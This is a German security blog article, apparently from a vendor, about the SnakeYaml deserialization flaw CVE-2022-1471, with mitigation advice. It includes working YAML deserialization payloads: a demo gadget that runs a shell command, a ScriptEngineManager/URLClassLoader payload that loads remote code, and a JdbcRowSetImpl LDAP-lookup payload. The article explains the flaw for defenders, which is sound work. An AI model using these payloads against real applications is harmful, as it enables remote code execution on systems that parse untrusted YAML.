Skip to main content

Unsichere Deserialisierung in SnakeYaml (CVE-2022-1471)

Artikel von
feature snakeyaml java vuln

14. Dezember 2022

0 Min. Lesezeit

SnakeYaml ist ein bekannter YAML-1.1-Parser und -Emitter für Java. Kürzlich wurde für dieses Paket eine Schwachstelle gemeldet: CVE-2022-1471. Sie kann zur Ausführung beliebigen Codes führen. Das Paket org.yaml:snakeyaml ist im Java-Ökosystem weit verbreitet, unter anderem, weil es standardmäßig im spring-boot-starter enthalten ist. In diesem Artikel untersuchen wir die Sicherheitslücke in dieser Java-Bibliothek, besprechen die möglichen Auswirkungen auf Ihre Anwendungen und wägen die tatsächlichen Risiken ab.

Was ist die SnakeYaml-Sicherheitslücke?

Die SnakeYaml-Bibliothek für Java ist aufgrund eines Fehlers in ihrer Constructor-Klasse anfällig für die Ausführung beliebigen Codes. Die Klasse schränkt nicht ein, welche Typen deserialisiert werden dürfen. Dadurch kann ein Angreifer eine manipulierte YAML-Datei zur Deserialisierung bereitstellen und das System möglicherweise ausnutzen. Dieser Fehler führt also zu einer unsicheren Deserialisierung, die die Ausführung beliebigen Codes ermöglichen kann.

So äußert sich die SnakeYaml-Schwachstelle

Mit SnakeYaml lassen sich YAML-Daten ganz einfach deserialisieren oder serialisieren. Typischerweise sieht das etwa so aus:

Yaml yaml = new Yaml();
File file = new File("file.yaml");
InputStream inputStream = new FileInputStream(file);
User user = yaml.load(inputStream);

Beim Laden des YAML aus der Datei im obigen Beispiel wird die Eingabe in den generischen Typ Object.class geparst, den Supertyp aller Object-Typen in Java. In unserem Code erwarten wir ein User-Objekt, aber die Typumwandlung erfolgt erst, nachdem das Object in den Speicher geladen wurde. Aufgrund des generischen Typs Object kann jedes Objekt verwendet werden. Das kann zur Ausführung beliebigen Codes führen, wenn im Klassenpfad der Anwendung ein Gadget oder eine Gadget-Kette vorhanden ist.

Ähnliche Probleme haben wir in den Artikeln Serialisierung und Deserialisierung in Java und Probleme mit der Java-JSON-Deserialisierung und dem Jackson ObjectMapper behandelt.

Demo zur SnakeYaml-Schwachstelle

Um das anfällige Szenario zu veranschaulichen, habe ich absichtlich eine Gadget-Klasse erstellt. Ein Gadget ist eine Klasse, die beim Instanziieren einen Nebeneffekt auslöst – entweder direkt oder indem sie eine Gadget-Kette in Gang setzt. In diesem Fall führt das Gadget einen bestimmten Befehl aus, wenn der Konstruktor aufgerufen wird.

public class Gadget {
   private Runnable command;

   public Gadget(String value) {
       this.command = new Command(value);
       this.command.run();
   }
}

Wenn diese Java-Klasse verfügbar ist und ich mein YAML mit dem zuvor gezeigten Code deserialisiere, kann ich folgenden Inhalt in die YAML-Datei einfügen:

!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]

Das bedeutet, dass ich mit SnakeYaml gezielt jede Java-Klasse ansprechen kann, die im Klassenpfad verfügbar ist. Da sich die Klasse bereits in meinem Klassenpfad befindet und SnakeYaml das Objekt unabhängig vom vorgesehenen Typ erstellt, kommt es zu einer ClassCastException. Der Schaden ist dann jedoch bereits angerichtet und der Befehl wird ausgeführt. Ein Gadget oder eine Gadget-Kette im Klassenpfad kann verheerende Folgen haben, etwa einen Reverse-Shell-Angriff.

Wie schwerwiegend ist die SnakeYaml-Schwachstelle in realen Anwendungen?

Es ist unwahrscheinlich, dass jemand ein Gadget wie in unserem obigen Beispiel erstellt. Durch die Einbindung von Drittanbieterbibliotheken steigt jedoch die Wahrscheinlichkeit, dass sich solche von anderen erstellten Gadgets in Ihrem Code befinden. Ein kurzer Blick in das ysoserial-GitHub-Repository oder auf die Liste möglicher Deserialisierungsprobleme in der JSON-Serialisierungsbibliothek jackson-databind zeigt, dass das potenzielle Risiko hoch ist. Der Unterschied zu jackson-databind: Jackson aktiviert defaultTyping nicht standardmäßig (wie in unserem früheren Hinweis auf eine Schwachstelle beschrieben).

Böswillige Akteure können auch einige Klassen im JDK verwenden, um Schaden anzurichten. Zum Beispiel die Klasse ScriptEngine:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Diese YAML-Eingabe stellt eine Verbindung zu einer URL her, über die schädliche Inhalte in Ihre Anwendung heruntergeladen werden können, wie in diesem Websec-Artikel erläutert.

Ein weiteres Beispiel ist – je nach verwendeter Java-Version – die Klasse JdbcRowSetImpl, die eine LDAP-Anfrage für eine Suche nutzen kann. Dadurch entstehen ähnliche Risiken wie bei Log4Shell vor nicht allzu langer Zeit.

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:9999/Evil"
autoCommit: true

Weitere Informationen finden Sie im SnakeYaml-Bitbucket-Issue.

Bin ich von der SnakeYaml-Schwachstelle betroffen?

Ob Sie betroffen sind, hängt davon ab, wie Sie diese Bibliothek verwenden. Wenn Sie benutzerdefinierte YAML-Daten aus anderen Quellen laden – ähnlich wie XML- und JSON-Objekte –, sind Sie möglicherweise gefährdet. Generell sollten Sie solche Eingaben nicht aus unbekannten Quellen akzeptieren.

In den meisten Fällen verwenden andere Frameworks wie Spring oder Helidon SnakeYaml, um YAML-Konfigurationen zu lesen, die bereits Teil Ihres Systems sind. Können böswillige Akteure diese Konfigurationsdateien verändern, haben Sie ein anderes und wahrscheinlich größeres Problem. Daher glaube ich persönlich nicht, dass die Auswirkungen besonders groß sind.

Die Maintainer der Bibliothek bestreiten das mit diesem Problem verbundene Risiko. Dennoch können wir nicht vorhersehen, wie eine solche Bibliothek verwendet wird.

Vorgeschlagene Maßnahmen zur Risikominderung bei der SnakeYaml-Schwachstelle

Zum Zeitpunkt der Veröffentlichung war keine neue Version dieses Pakets verfügbar. Die Maintainer haben jedoch einen Git-Pull-Request angenommen, der eine Sperrliste für bestimmte Artefakte einführt, die deserialisiert werden dürfen. Diese Funktion soll in Version 1.34 verfügbar sein. Bis dahin scheint es keine allgemeine Korrektur für das Standardverhalten zu geben.

Beachten Sie den Hinweis in der SnakeYaml-Dokumentation: Es ist nicht sicher,Yaml.load() mit Daten aus einer nicht vertrauenswürdigen Quelle aufzurufen!Die Methode Yaml.load() wandelt ein YAML-Dokument in ein Java-Objekt um.

Standardmäßig verwendet, wie unten gezeigt.

Yaml yaml = new Yaml(new SafeConstructor());

Scannen Sie Ihre Abhängigkeiten regelmäßig

Wie Sie bereits wissen, stammt ein Großteil des Codes in Ihren Anwendungen aus Drittanbieterbibliotheken. Da kein Entwickler die Zeit hat, den gesamten Code dieser Bibliotheken zu prüfen, ist es wichtig, Ihre Abhängigkeiten auf bekannte Schwachstellen zu scannen. Mit Snyk geht das ganz einfach: Dank Scans in Echtzeit, konkreten Empfehlungen zur Behebung und einer Prioritätsbewertung können Sie die Wirkung Ihrer Maßnahmen maximieren. Erstellen Sie noch heute kostenlos ein Konto.

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.